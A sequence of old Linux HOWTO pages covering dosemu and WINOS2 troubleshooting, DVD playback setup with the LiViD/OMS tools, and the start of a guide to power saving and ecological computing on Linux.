Okay, it is possible to boot WINOS2 (the modified version of Windows 3.1 that OS/2 uses) under DOSEMU. Many kudos to Lutz & Dong!

However, YOU NEED BOTH LICENSES, for WINDOWS-3.1 as well OS/2 !!!

There are many known problems. Windows is prone to crash, could take data with it, large programs will not load, etc. etc. etc. In other words, it is NOT ready for daily use. Many video cards are known to have problems (you may see a nice white screen, however, look below for win31-in-xdos). Your program groups are all likely to disappear. ... Basically, it's a pain.

for more details see the README.txt file.

8.2 Can I run 32bit stuff with winemu

Sorry, no you can't. Win32s needs stuff running in ring 0. That's a "nono" with linux. (97/04/27)

8.3 Errormessage: Cannot find the vdtapi.386 file when starting dosemu

As explained above, winemu can't handle 32 bit stuff. All drivers ending in 386 are 32bit. So to run winemu, you have to delete all references to .386 drivers in your win.ini. (97/04/27)

8.4 Windows 3.x in xdos:

As of version 0.64.3 DOSEMU is able to run Windows in xdos. Of course, this is not recommended at all, but if you really want to try, it is safer then starting windows-31 on the console, because _when_ it crashes, it doesn't block your keyboard or freeze your screen.

Hints:

1. Get Dosemu & Linux source.
2. Unpack dosemu.
3. Run "./configure" to configure Dosemu (it will enable vm86plus as a
   default).
4. Type "make" to compile.
5. Get a Trident SVGA drivers for Windows. The files are tvgaw31a.zip
   and/or tvgaw31b.zip. They are available at garbo.uwasa.fi in
   /windows/drivers (any mirrors?).
6. Unpack the Trident drivers.
7. In Windows setup, install the Trident "800x600 256 color for 512K
   boards" driver.
8. Do the things described above to get and install OS2WIN31.
10. Start xdos.
11. In Dosemu, go to windows directory and start winemu.
12. Cross your fingers.

8.5 Can I install windows from within dosemu?

No you can't. Dos will tell you something like

The XMS driver you have on your system is not compatible with Windows...
You need to install windows from Dos. You can copy the windows tree to somewhere on your Linux Filesystem and use lredir to mount it on the same place as it is in dos. Example:
You have windows in d:\windows You have d:\ mounted as /dosc in Linux You copy the windows tree to Linux, e.g. "cp -a /dosd/windows /usr/share Inside dosemu you redirect the copied tree like lredir d: linux\fs\dosd
Now dosemu can't mess around in you windows directory, but changes in the windows directory aren't seen by dosemu too. If you want to do the same with windows on drive c:> look in this FAQ how to redirect c:.

But you can use "setup" from inside the windows directory to install drivers and change some settings. (97/2/1497)

8.6 Notes for the mouse under win31-in-xdos:

1. Use the mouse driver "mouse.drv" from WinOS2

2. In order to let the mouse properly work you need the following in your win.ini file:

     [windows]
     MouseThreshold1=0
     MouseThreshold2=0
     MouseSpeed=0

3. The mouse cursor gets not painted by X, but by windows itself, so it depends on the refresh rate how often it gets updated, though the mouse coordinates movement itself will not get delayed. ( In fact you have 2 cursors, but the X-cursor is given an 'invisible' cursor shape while within the DOS-Box. )

4. Because the coordinates passed to windows are interpreted relatively, we need to calibrate the cursor. This is done automatically whenever you enter the DOS-Box window: The cursor gets forced to 0,0 and then back to its right coordinates. Hence, if you want to re-calibrate the cursor, just move the cursor outside and then inside the DOS-Box again. (97/2/10)

8.7 Why did my Icon disappear from the Program manager?

MS-Windows and WinOS2 handle the program manager group differently. While MS-Win store the setup in progman.ini, WinOS2 wants the contents of progman.ini in system.ini. Here's a tip from (friest@acm.org (Todd T. Fries)):

cat progman.ini >> system.ini
Be sure to use >> :-)


The dosemu HOWTO: Video and sound

 Next Previous Contents

9. Video and sound

9.1 Can I run 32-bit video games under dosemu?

Mark Rejhon (mdrejhon@magi.com) reported (95/4/8) that

With the recent DPMI improvements that has gone into 0.60, you can now run some 32-bit video games in dosemu. If the game is compatible in an OS/2 DOS box, there are chances that it will work in dosemu. (Example 32-bit games include Descent, Dark Forces, Mortal Kombat 2, Rise of The Triad, which have all successfully been tested in recent dosemu releases).

Before you attempt to run a video game, you must have the keyboard configured in raw keyboard mode and enabled VGA graphics modes, in the /etc/dosemu.conf file.

Note, however, you will have to turn off the sound in the game. (Someone will have to program in sound board emulation before we can avoid this). Note that game timers can be a little bit slow, due to Linux multitasking and lack of high-frequency timer support. So the games may run from anywhere from 5 to 100 percent speed. Typically, the speed is approximately 50 percent in recent dosemu releases and is expected to improve eventually.

Who knows, it might even work. If you can't get it to work, check EMUfailure.txt if the program is listed there, or falls in a category of programs that at present don't or probably never work with dosemu. If you think, it should be listed in EMUfailure.txt, report to linux-msdos@vger.rutgers.edu

There is a security hole when having enabled DPMI and having dosemu suid root (especially when using dos4gw-based games), the client is able to access the whole user space, hence also can modify the dosemu code itself. Use of the 'secure' option in /etc/dosemu.conf, e.g.

$_secure = "ngd" # secure for: n (normal users), g (guest), d (dexe)
disables this. It is better to run dosemu as a normal user under X rather than root anyway.

9.2 Exiting from dosemu gives me a screen full of garbage.

(95/4/8)

The problem is that the font information for the VGA text screen is not being saved. Get a copy of the svgalib package. The current source is in

sunsite.unc.edu:/pub/Linux/libs/graphics/svgalib-1.3.1.tar.gz
It may also be available as a pre-compiled package in your favorite Linux distribution (e.g., Slackware, etc.). Use savetextmode to save the current text mode and font to a file in /tmp before running dosemu. Then run textmode upon exiting dosemu to restore it.

Addition from (lermen@elserv.ffm.fgan.de(97/2/11)):

Have a look also at src/arch/linux/debugger/README.recover and README.dosdebug, dosdebug can aid you recovering.

9.3 Why doesn't my soundcard software work with dosemu?

Dosemu includes a rudimentary soundblaster emulator called SBemu - the documentation for it is currently at http://www.slitesys.demon.co.uk/a.macdonald/dosemu/sound/ This is a work in progress, not completed yet so much or most DOS software that uses sound will not work correctly with it yet.


The dosemu HOWTO: Games

 Next Previous Contents

10. Games

10.1 Duke3d dosen't work

Hans Lermen <lermen@elserv.ffm.fgan.de> said (97/2/16): duke3d must be 'configured' via a setup, within this setup you have to choose 'keyboard + mouse', else it won't work.


The dosemu HOWTO: Problems and fixes

 Next Previous Contents

11. Problems and fixes

11.1 Security issues

A full featured Dosemu needs to be suid root, e.g to access ports. Most dos programs don't need this however so when running under X you usually do not need to run dosemu as root. Dosemu runs as suid "root" only where it is needed, and releases this right thereafter. But with DPMI, the Dos client programm can access the whole user space, hence also can modify the dosemu code itself. Use of the 'secure' option in /etc/dosemu.conf disables this. There are several other important security considerations discussed in the Security section of the README.txt file.

11.2 dosemu says "ERROR: general protection" and terminates when I run some program

This will happen if your program uses DPMI and you do not have DPMI enabled. Try changing the line

$_dpmi = (off)
in /etc/dosemu.conf to
$_dpmi = (nnnn)
where nnnn is the number of kilobytes of memory you wish to give to the DOS program (e.g. Doom requires about 4000 kilobytes). If you do this, you should not run dosemu as root (see the Security Issues section) - it is better not to run dosemu as root whenever possible, in any case.

Another likely cause is that your program uses VCPI (see EMUfailure.txt for more details) or some other means of switching to protected mode (other than DPMI), in which case it will never work under dosemu.

If none of these is the case, see section 1.14 I have a program that fails, not listed in EMUfailure.txt.

11.3 Dosemu dies when booting. I have Win95 installed.

Dosemu relies that the Dos-Version on the hdimage and the Drive you map to contain command.com are the same. If not, dosemu will crash sooner or later. With the dual boot option Win95 offers when pressing the F4,F5 and F8 Keys with the "Starting Win95" text, versions on the Win95 drive may swap. Take special care for command.com. Let your shell variable in config.emu point to the correct static version of command.com, e.g.: shell=c:\win95\command.com c:\ /P /E:1024 (97/02/28)

11.4 Dosemu hangs! How can I kill it?

Switch to another console and type dosdebug, then type kill (it may take a while but will work eventually).

11.5 Dosemu crashed and now I can't type anything.

Daniel Barlow(jo95004@sable.ox.ac.uk) reported (95/4/8) that

If you have no terminal or network access that you can use to log in, you may have to press the reset button. If you can still get a usable shell somehow, run "kbd_mode -a" to switch the keyboard out of raw mode, and/or "stty sane" on the console so that you can see what you're typing.

A useful thing to do is to use a script to run dosemu, and run "kbd_mode -a" automatically right after dosemu. When dosemu crashes, the script usually will resume running, and execute the "kbd_mode -a" command.

11.6 I've enabled EMS memory in dosemu.conf but it does not help.

Rob Janssen (rob@pe1chl.ampr.org) reported (94/7/11)

Don't forget to load the provided ems.sys from the config.sys file.

11.7 How do I get rid of all those annoying "disk change" messages?

(94/8/11)

Grab and install klogd. Try

         sunsite.unc.edu:/pub/Linux/system/Daemons/sysklogd1.2.tgz

11.8 Why won't dosemu run a second time after exiting in console mode?

Aldy Hernandez (aldy@sauron.cc.andrews.edu) reported (94/7/8) that

You should disable your video and/or BIOS caching.

11.9 Why will dosemu run in a term but not in the console?

JyiJiin Luo (jjluo@casbah.acns.nwu.edu) reported (94/4/19) that

I experienced exactly the same problem before. I figured out all the video shadow in my AMI BIOS must be disabled. Now dosemu runs fine on my system.

11.10 How can I speed up dosemu?

In some cases it is useful to play with the value of the HogThreshold variable in your dosemu.conf file.

Daniel Barlow(jo95004@sable.ox.ac.uk) reported (95/4/8) that

HogThreshold should now be set to approximately half of the BogoMips value that the system reports on boot.

11.11 My CDROM drive has problems reading some files under dosemu.

Vinod G Kulkarni (vinod@cse.iitb.ernet.in) reported (94/4/7) that

When a CDROM is mounted from linux and used from within dosemu (mapped drive), there could be some problems. The CD-ROM driver (iso9660) in the kernel tries to find out the type of the file (i.e. binary or text). If it can't find, it tries to guess the type of the file using a heuristic. This heuristic fails under some circumstances when a (almost) text file is to be treated as binary. (I do not know if it is a bug or feature.)

The result of this is that if you copy such a file from CD-ROM (from linux itself, and not necessarily dosemu), the resulting file will be usually bigger than original file. (Blanks get added before ^J,^M.) So a program running in dosemu gives an error or hangs, which may be mistaken as problem of dosemu.

Rob Janssen (pe1chl@rabo.nl) reported (94/8/10) that

The way to solve this is to turn off conversion altogether. Pass the option "-o conv=binary" to the mount command mounting the CD-ROM, or use the following in /etc/fstab:

/dev/cdrom      /cdrom          iso9660 conv=binary,ro
No patches to the kernel are necessary.

11.12 How do I see debugging output?

Daniel Barlow(jo95004@sable.ox.ac.uk) reported (95/4/8) that

As of dosemu 0.60, debugging output is redirected to a file specified on the command line. Use "dos -D+a -o /tmp/debug" to log all debug output to /tmp/debug. There should no longer be any need to redirect stderr.

11.13 Why are my keystrokes echoed ttwwiiccee??

Nick Holloway (alfie@dcs.warwick.ac.uk) reported (94/2/22) that

After running dos after playing with some stty settings, I was getting doubled key presses. I can now reveal what the reason is!

It only happens when dos is run on the console with 'istrip' set. This is (I think) because the raw scancodes are mutilated by the 'istrip', so that key release events look like key press events.

So, the input processing needs to be turned off when using the scan codes on a console (it wouldn't be a good idea to do it for tty lines).

11.14 Dosemu scrambles my screen?

For those graphics cards not fully supported in dosemu, with allowed console graphics a dosemu crash may leave your console in a scrambles and nearly unusable way. To prepare for that situation, Spudgun <spudgun@earthlight.co.nz> posted the following solution. First save your registers when running on the console ~> cat /usr/bin/savetextmode ~> restoretextmode -w /etc/textregs ~> restorefont -w /etc/fontdata Then, when a crash happened, run following script: restoretextmode -r /etc/textregs restorefont -r /etc/fontdata restorepalette

If it doesn't fix it nothing will I also found having an X server running sometimes put my Vid card's registers into a strange state where this script made things worse I think since changing X servers and/or running savetextmode on a vt while X was running helped. (97/04/08)

11.15 MS FoxPro 2.6 won't run

FoxPro 2.6 doesn't run on network drives. Alexey Naidyonov <growler@growler.tsu.tula.ru> states on that problem: And I guess your FoxPro files are on lredir'ed disk, yeah? The matter is that FoxPro doesn't run on such disk, but when I said disk { partition ... } in /etc/dosemu/conf, it runs.


The dosemu HOWTO: Contributing to the dosemu project

 Next Previous Contents

12. Contributing to the dosemu project

12.1 Who is responsible for dosemu?

Dosemu is built upon the work of Matthias Lautner and Robert Sanders. Hans Lermen (lermen@dosemu.org) is responsible for organizing the latest releases of dosemu.

                       History of dosemu

          Version    Date                Person
         -------------------------------------------------
          0.1        September 3, 1992   Matthias Lautner
          0.2        September 13, 1992  Matthias Lautner
          0.3        ???                 Matthias Lautner
          0.4        November 26, 1992   Matthias Lautner
          0.47       January 27, 1993    Robert Sanders
          0.47.7     February 5, 1993    Robert Sanders
          0.48       February 16, 1993   Robert Sanders
          0.48pl1    February 18, 1993   Robert Sanders
          0.49       May 20, 1993        Robert Sanders
          0.49pl2    November 18, 1993   James MacLean
          0.49pl3    November 30, 1993   James MacLean
          0.49pl3.3  December 3, 1993    James MacLean
          0.50       March 4, 1994       James MacLean
          0.50pl1    March 18, 1994      James MacLean
          0.52       June 16, 1994       James MacLean
          0.60       April 9, 1995       James MacLean
          0.64.4     February 9,1997     Hans Lermen
          0.66.3     April 20, 1997      Hans Lermen
          0.98.1     December 9, 1998    Hans Lermen
          0.98.6     March 21, 1999      Hans Lermen

12.2 I want to help. Who should I contact?

The dosemu project is a team effort. If you wish to contribute, see the DPR (dosemu Project Registry). A current copy may be found in doc/DANG.


Linux DVD HOWTO

http://www.linuxvideo.org/

v1.25, 2000-10-17

A (hopefully) easy to follow explanation on how to get DVD movie playback in Linux.

1. Introduction

  • 1.1 Goal
  • 1.2 New Versions
  • 1.3 Copyrights and Trademarks
  • 1.4 Thanks
  • 1.5 Translations

2. Requirements

3. Files

4. Installation

  • 4.1 Kernel
  • 4.2 LiViD Utilities

5. Playing

6. Additional Stuff

  • 6.1 Setting up MTRR's

7. Problems

  • 7.1 Run time errors
  • 7.2 Compilation errors
  • 7.3 Broken stuff
  • 7.4 Other errors

8. To Do


Linux DVD HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Goal

The purpose of this is to provide step by step instructions on getting DVD movies to play in Linux. I will try to be as clear as possible, but if something is confusing or incorrect, please tell me about it and I'll fix it. If you have any questions, you can subscribe to the livid-user mailing list by sending a blank email to livid-user-subscribe@linuxvideo.org.

1.2 New Versions

This howto is available in many formats, including html and tex. The newest version can always be retrieved from http://www.linuxvideo.org/docs/Linux-DVD-HOWTO/. It is highly recommended that you get the most recent version, as this howto is being updated quite often.

1.3 Copyrights and Trademarks

This manual may be reproduced in whole or in part, without fee, subject to the following restrictions:

  • The copyright notice above and this permission notice must be preserved complete on all complete or partial copies.
  • Any translation or derived work must be approved by the author in writing before distribution.
  • If you distribute this work in part, instructions for obtaining the complete version of this manual must be included, and a means for obtaining a complete version provided.
  • Small portions may be reproduced as illustrations for reviews or quotes in other works without this permission notice if proper citation is given.

Exceptions to these rules may be granted for acedemic purposes: Write to the author and ask. These restrictions are here to protect us as authors, not to restrict you as learners and educators. Any souce code (aside from the SGML this document was written in) in this document is placed under the GNU General Public License, available via anonymous FTP from the GNU archive.

1.4 Thanks

Thanks to Nathan Rowlan nkr@helo.org for starting and maintaining this document in the early days. It has now been taken over by the LiViD support team.

Thanks to the authors of OMS and the rest of the LiViD developers, who have given the project much of their time and work, and also to those individuals who have given feedback to make this HOWTO better.

Much of the layout of this HOWTO was gotten from the HOWTO-HOWTO, written by Mark F. Komarinski. It can be found at http://www.linuxdoc.org/.

1.5 Translations

Translations of this document can be found at http://www.linuxvideo.org/docs/Linux-DVD-HOWTO/. If you would like to translate this howto, please contact the LiViD development mailing list.


Linux DVD HOWTO: Requirements

 Next Previous Contents

2. Requirements

This HOWTO assumes you have:

  • Linux kernel v2.2.x or greater. A kernel with DVD ioctls is prefered.
  • XFree86 3.3.X or 4.x
  • A DVD-ROM/RAM/RW drive supported in Linux (most are)
  • A decent knowledge of bash and english


Linux DVD HOWTO: Files

 Next Previous Contents

3. Files

First things first, you need to get a kernel with MTRR (more on this later) and DVD ioctl support. While MTRR's have been in the kernel since 2.2.11 (correct me if I'm wrong), you will probably need to update your kernel to get DVD ioctls. There are two ways to skin this cat, you can either download a development kernel (v2.3.x), or patch a stable release kernel (v2.2.x), the patches are at http://www.kernel.dk/, and the kernel can be found on your favorite mirror of ftp://ftp.kernel.org/.

Next, you need to get the LiViD utilities. This can be done two ways:

  • Get the LiViD utilities from CVS, so you can update it as it is being updated by the developers. (recommended)

       The following commands will retrieve them (you can use -d parameter
       instead of setting CVSROOT if you want):

       # mkdir ~/livid
       # cd ~/livid
       # export CVSROOT=:pserver:anonymous@cvs.linuxvideo.org:/cvs/livid
       # cvs login
       (Logging in to anonymous@cvs.linuxvideo.org)
       CVS password:

       There is no password for anonymous, just press enter.

       # cvs -z3 co -P ac3dec mpeg2dec oms

       They should download into their respective directories.

  • If you don't like CVS or can't access it due to firewall issues, you can download the most recent nightly tarball of LiViD tools at http://www.linuxvideo.org/developer/dl.phtml


Linux DVD HOWTO: Installation

 Next Previous Contents

4. Installation

4.1 Kernel

Kernels at least as recent as 2.2.16 or 2.4 series should already have DVD ioctl support, so you just need to make sure you have MTRR support enabled in the kernel configuration, and then compile and install it as you normally would.

If you want to patch your exisiting older kernel, start by going to http://www.kernel.dk/ and downloading the correct patch for your kernel.

If don't know how to install or patch your kernel, you should go read the Kernel HOWTO at http://howto.tucows.com/LDP/HOWTO/Kernel-HOWTO.html

4.2 LiViD Utilities

To install the LiViD utilities, you need to make sure you have /usr/local/lib somewhere in /etc/ld.so.conf.

DVD playback only requires OMS to be built. It builds ac3 and mpeg2 codecs by itself. However, feel free to play with the standalone codecs if you wish. The following commands should compile and install the LiViD utilities on your system. If you have problems, please see the "Problems" section.

      ac3dec: (optional)

        # cd ~/livid/ac3dec
        # ./autogen.sh
        # make
        # make install

      mpeg2dec: (optional)

        # cd ~/livid/mpeg2dec
        # ./autogen.sh
        # make
        # make install

      oms:

        # cd ~/livid/oms
        # ./autogen.sh
        # ./configure
        # make
        # make install

There are some extra options that can be used. They are placed as arguments to the ./configure script. OMS has --enable-devel which will enable some development and experimental features in the code. Standard autoconf parameters such as --prefix can be used if you wish to install somehwere other than /usr/local. For instance to install in a subdir of the source dir you could do:

        # ./configure --prefix=`pwd`/inst

Run ./configure --help to get a complete listing of options. If you install X in an odd location (for instance you have XFree86 3.3.x and 4.x installed at the same time) you may need the --x-includes and --x-libraries options.

Now the necessary LiViD utilities should be installed. The next section is not required, but if you use the "pipes" plugin, you will need to make some special fifo pipes for the DVD data to travel over. These can be made with the following commands (if they don't already exist):

        # mkfifo /tmp/video
        # mkfifo /tmp/audio

Another method of controlling the data available in the oms_devel version is to use raw I/O, which is available in the latest linux kernels. If you don't have these, data will be read from the standard device. Using raw I/O is recommended, but not necessary. If they do not exist, create two devices as follows:

        # mknod /dev/rawctl c 162 0
        # mknod /dev/raw1 c 162 1

One last thing to do. OMS needs /dev/dvd to be a symlink to where your DVD drive resides, such as /dev/hdb1 or /dev/scd0. If it is at /dev/cdrom, you would create the link by typing:

        # ln -s /dev/cdrom /dev/dvd

It is generally a good idea not to make a symlink to a symlink, because it adds unnecessary I/O. Replace /dev/cdrom with the correct device that your dvd drive is on.


Linux DVD HOWTO: Playing

 Next Previous Contents

5. Playing

First you need a config file. Copy doc/config.sample from oms source directory to .oms/config in your home directory. Edit the values to reflect the drivers, skin, device, etc you want to use.

Expect lots of text to scroll by. This is still development code. If you see lots of text, but no video window you may have a mistake in your config file. Check to make sure you are using the right plugins and devices.

To play a DVD, you need to be running X in 16-bit color mode. With the DVD in the drive, type:

        # oms

There is a pipe method available in older OMS versions that uses the fifo's created earlier. Most people can ignore this. To use pipes type:

        # ac3dec /tmp/audio& mpeg2dec /tmp/video& oms

ac3dec and mpeg2dec may need to be killed by hand using this method.

If all has gone well, some text should fly by, followed by it asking you if you want it to look up the name of the disk in the DVDDB. It is safe to say yes. Then, the oms panel should pop up. Click the playlist button, then the scan dvd button, then play.


Linux DVD HOWTO: Additional Stuff

 Next Previous Contents

6. Additional Stuff

6.1 Setting up MTRR's

                ** Note to Matrox video card owners **

                If you have matroxfb compiled into the kernel,
                chances are that your MTRR's are already set
                up.  You can probably just skip this section.

Setting up your MTRR's can increase video performance quite a bit in some cases, so it is a good idea to do it. First, you need to make sure you have MTRR support in your kernel by typing:

           # ls /proc/mtrr

If it tells you that there is no such thing as /proc/mtrr, you need to recompile your kernel with MTRR support (it is under "Processor type and features" in menuconfig).

Once you know MTRR is working, you need to know the base memory address of your video card, and how much video ram it has. The easiest way to do this is to look at the output of X as it starts up. Because the output usually scrolls off the screen and is lost when it switches to a different tty, you need to redirect the output of X to a file (xoutput) so you can go back and look at it to get the needed values. This can be done by typing:

           # startx 2> xoutput

The line having the needed information is probably somewhere towards the middle of xoutput, and should look something like:

           (--) SVGA: PCI: NVidia Riva TNT2 rev 17, Memory @ 0xee000000, 0xe2000000

Once you have located that, write down the last memory address, in this case 0xe2000000. Depending on your hardware, you may or may not have multiple memory addresses shown, so don't worry if yours looks a little different. With this information recorded, you can delete xoutput.

Next you need to create a new MTRR. In order to do that, you have know how much ram your video card has in hex. Here are some common values:

           4MB  -- 0x400000
           8MB  -- 0x800000
           16MB -- 0x1000000
           32MB -- 0x2000000

To add the MTRR, type:

           # echo "base=0xe2000000 size=0x2000000 type=write-combining" >| /proc/mtrr

Substituting "0xe2000000" and "0x2000000" with the base address and amount of video ram specific to your system.

Now you should have MTRR set up, and just to make sure, type:

           # cat /proc/mtrr

And you should get output that looks remotely similar to:

           reg00: base=0x00000000 (   0MB), size= 128MB: write-back, count=1
           reg01: base=0xe2000000 (3616MB), size=  32MB: write-combining, count=1

Again, the number of entries will probably be different from these, don't sweat it.


Linux DVD HOWTO: Problems

 Next Previous Contents

7. Problems

7.1 Run time errors

This is a (small) list of known run-time errors.

Illegal Instruction Error

If you use a non-Intel chip (K6 especially), and you are getting this error when you try to run mpeg2video, try editing nist/configure.in, lines 129 and 130:

               CFLAGS="$CFLAGS -DHAVE_MMX -DLINUX -march=i686 -fschedule-insns2 -malign-doub
               CXXFLAGS="$CXXFLAGS -DHAVE_MMX -DLINUX -march=i686 -fschedule-insns2 -malign-

replace "-march=i686" in both with "-march=i586", and then recompile and reinstall.

7.2 Compilation errors

This is a running list of common compilation errors that have known fixes.

`dvd_struct' undeclared...

The most frequent problem people have when trying to compile these utilities stems from oms looking in the wrong place for the kernel headers. By default, it uses /usr/include/[linux|asm], but those headers are from a stable kernel so that when you compile a normal program, it will be using older headers. OMS needs to use headers with dvd ioctl support. If things are set up wrong many things are undeclared and compilation fails. The best way to fix this is to use the configure option --with-kernel-headers=(path to headers). Another way is to adjust which headers are in the default location.

        These commands should do it:

        # mkdir /usr/include/old
        # mv /usr/include/linux /usr/include/old/linux
        # mv /usr/include/asm /usr/include/old/asm
        # mv /usr/include/scsi /usr/include/old/scsi
        # ln -s /usr/src/linux/include/linux /usr/include/linux
        # ln -s /usr/src/linux/include/scsi /usr/include/scsi
        # ln -s /usr/src/linux/include/asm /usr/include/asm

Can't determine absolute dir of '../../../../src/plugin/codec/mpeg2dec/.libs'

Another common error is with the oms/src/plugin/codec/mpeg2dec/.libs directory. For some reason or another, this directory does not exist, and it needs to for compilation. To fix it, just make the directory:

        # mkdir src/plugin/codec/mpeg2dec/.libs

Can't find libXv.so or libXxf86dga.so

Xfree86 4.x doesn't build shared libs for Xv and Xxf86dga. However, the shared lib setup OMS uses needs them. Build them as follows in your favorite lib dir:

        # ld --whole-archive -shared -o libXv.so libXv.a
        # ld --whole-archive -shared -o libXxf86dga.so libXxf86dga.a

Failure via segfault for no apparent reason

Sometime you have old libraries laying around that are used by mistake. This will cause unwanted behavior such as crashing. Get rid of old libraries from /usr/local/lib or wherever you put them and things should work.

7.3 Broken stuff

Features that don't currently work as intended:

  • The chapter seek buttons may fail.
  • The play/pause/stop buttons may fail to work.
  • Audio/video may skip or sound "choppy". This is due to proper syncronization and framedropping not being implemented yet.

7.4 Other errors

If your problem isn't listed here, then likely the current CVS code has a bug in it or is missing a feature. You can either hope it will be fixed and update CVS every so often or subscribe to the mailing lists and report the bug or request a feature. To subscribe send a blank email to livid-user-subscribe@linuxvideo.org.


Linux DVD HOWTO: To Do

 Next Previous Contents

8. To Do

  • Makefile options (HAVE_MMX, HAVE_3DNOW, etc)
  • proper architecture detection (compile time and runtime)
  • add easy MTRR stuff (framebuffer)
  • add need for region coding to be set on most drives: www.linuxtv.org/dvd


Linux Ecology HOWTO

Werner Heuser < wehe@mobilix.org > Wade W. Hampton <whampton@staffnet.com>

v0.8, 4 November 2000

The Ecology-HOWTO discusses ways Linux computers can be used as a means to protect our environment, by using its features to save power or paper. Since it does not require big hardware, Linux may be used with old computers to make their life cycle longer. Games may be used in environmental education and software is available to simulate ecological processes.

1. Introduction

  • 1.1 Objectives
  • 1.2 Caveats
  • 1.3 About the Document and the Authors

2. Reduction of Power Consumption

  • 2.1 Advanced Power Management (APM/ACPI)
  • 2.2 Power Management Unit - PMU (PowerBook)
  • 2.3 Turn Monitor off, use Keyboard LEDs
  • 2.4 Screensavers
  • 2.5 Energy Star Label
  • 2.6 Miscellaneous Power Saving Techniques

3. Alternative Power Supplies - Sun, Wind, Water

4. Noise Reduction

  • 4.1 Fan
  • 4.2 Harddisk
  • 4.3 Speakers

5. Saving Consumables (Paper, Ink, etc.)

  • 5.1 Printing of Drafts / Multiple Pages on One Sheet of Paper
  • 5.2 Double Sided Printing
  • 5.3 Reading From the Monitor Instead From Paper
  • 5.4 Other Techniques

6. Ecological Behaviour is Convenient

7. Recycling of Consumables (Paper, Printer Cartrigdes, CD, Floppies, Tapes)

8. Reduction of Radiation, Electro Magnetic Fields, Heat

9. Extending the Life Cycle of your Hardware

  • 9.1 Recycling of Hardware
  • 9.2 Other Techniques
  • 9.3 Linux BadRAM Patch
  • 9.4 Other Operating Systems

10. X10 - Home Automation System

11. Uninterruptable Power Supply - UPS

12. Games

13. Ecology Software (Simulation, Datacollection, Statistics, etc.)

  • 13.1 Ecolab
  • 13.2 OpenClassroom
  • 13.3 Tierra
  • 13.4 Linux in Environmental Research
  • 13.5 SWARM
  • 13.6 Climate-Dynamics
  • 13.7 UNCERT
  • 13.8 EcoTopia

14. Related Projects, Mailing Lists and Newsgroups

15. Credits

16. Revision History

17. Copyright and Disclaimer

18. Appendix A - Linux with Laptops

  • 18.1 Battery
  • 18.2 PCMCIA Card Services and Advanced Power Management
  • 18.3 Power Saving Techniques

19. Appendix B - MP3-Hardware-Decoder at Parallel Port

20. Appendix C - Bibliography

21. Appendix D - Recommendations for Buying a New Computer

22. Appendix E - A New Environmentally Friendly Hardware Design

23. Appendix F - Computer Related Eco Labels

24. Appendix G - Other Operating Systems

  • 24.1 DOS
  • 24.2 MS-Windows

25. Appendix H - URLs of Recylers


Linux Ecology HOWTO: Introduction

 Next Previous Contents

1. Introduction

Life is the first gift, love is the second, and understanding is the third. -- Marge Piercy

Though computers can be seen as part of environmental pollution, there are also ways to use computers in a more reasonable manner to help protect the environment. So I have just started to collect some means to do so with Linux.

1.1 Objectives

Some objectives of the howto:

  • Reduction in power consumption.
  • Reduction in consumables like paper and inks.
  • Reduction in waste by reusing older components or keeping them in service longer.
  • Reduction in toxic waste such as used batteries.
  • Use of Linux in environmental education and research.

1.2 Caveats

Some of the recommendations in this text are discussed controversial, for instance: powering down a device, when it's not in use. This may save power, but not under all circumstances. Also it may have other additional ecological costs, e.g. the life time of the device can be shortened.

I don't have enough technological knowledge to make a decision between these alternatives. Also some alternatives might be rated differently by different persons. So finally the decision what to choose is up to you. Anyway if you have better alternatives please let me know.

1.3 About the Document and the Authors

Miscellaneous

If I didn't provide an URL for a program or a package, you may get it from Debian or as a RPM package, from your favorite RPM server, for instance Rufus.

Some parts are modified chapters from my Laptop-HOWTO and my IR-(InfraRed)-HOWTO.

The document is included in the LINUX DOCUMENTATION PROJECT.

The latest version of this document is available at Ecology and Computers .

Since Wade W. Hampton provided a great amount of information included into this text I consider him as a co-author. Though all responsibility for any mistakes is taken by me.

Please feel free to contact me for comments or questions about the HOWTO. I know this material is not finished or perfect, but I hope you find it useful anyway.

Werner Heuser <wehe@mobilix.org>

Translations

Jun Morimoto <morimoto@xantia.citroen.org> has written the translation into Japanese.

A translation into Chinese(Big5 code) is proposed by Richie Gan. It is part of the Chinese Linux Document Project. You may contact CLDP coordinator <cwhuang@linux.org.tw> to reach him.

Victor Solymossy <victor@lig.dq.ufscar.br> proposed a translation into Portuguese.


Linux Ecology HOWTO: Reduction of Power Consumption

 Next Previous Contents

2. Reduction of Power Consumption

There are some means to save power when using a computer which are supported by Linux: Advanced Power Management, certain harddisk settings, working without monitor and others.

2.1 Advanced Power Management (APM/ACPI)

Linux Compatibility Check

From the Battery-Powered-mini-HOWTO " .. for APM to work on any notebook or energy-conscious desktop, the system BIOS ROM in the machine must support the APM standard. Furthermore, for APM to work with the Linux operating system, the system BIOS ROM must support either the 1.0 or 1.1 version of the APM standard, and it must also support 32-bit protected mode connections. A system that supports APM 1.1 is preferred, as it provides more features that the device driver and supporting utilities can take advantage of."

You may get information about the APM version with the dmesg command and in the /proc/apm file.

Introduction

When you first install Linux, you will probably have to recompile the kernel. The kernel that came with your distribution probably does not have APM enabled.

APM support consists of two parts: kernel support and user-land support.

For kernel support, enable the parameters in the corresponding kernel section. AFAIK not all features work with laptops. AFAIK the feature CONFIG_APM_POWER_OFF works with most laptops.

The utilities for userland support may be found at WorldVisions. APMD is a set of programs that control the Advanced Power Management system found in most modern laptop computers. If you run a 2.2.x kernel and want to experiment, Gabor Kuti <seasons@falcon.sch.bme.hu> has made a kernel patch that allows you to hibernate any Linux system to disk, even if your computers APM BIOS doesn't support it directly.

Richard Gooch wrote: I'have had a look at the beta version of apmd, and I still don't like it, because:

  • Only supports one command to run at suspend time.
  • Doesn't distinguish between user and system suspends.
  • doesn't provide a way to disable policy (the sync(); sleep(0) ; sync(); sleep(1); sequence)
  • Does not document extra features.
  • And I'm not sure that what we want is a single super daemon. A collection of smaller daemons might be better, since it allows people to pick and choose. A super daemon is bloat for those who only want one small feature.

Though this topic was discussed controversly Richard Gooch has put together a package suspendd at http://www.atnf.csiro.au/~rgooch/linux/ .

Also, have a look at apmcd (apm based crontab) at ftp://ftp.binary9.net/pub/linux/ . A tool made by Nicolas J. Leon <nicholas@binary9.net> http://mrnick.binary9.net/.

Note: I didn't check wether this features are merged into one package (apmd eventually) already.

Caveats

If you have another operating system preinstalled or use another operating system at the same disk, make sure there is no "hibernation" or "suspend" tool installed, which could severely interfere with Linux, e.g. it might use disk space which is occupied by Linux or vice versa.

Troubleshooting

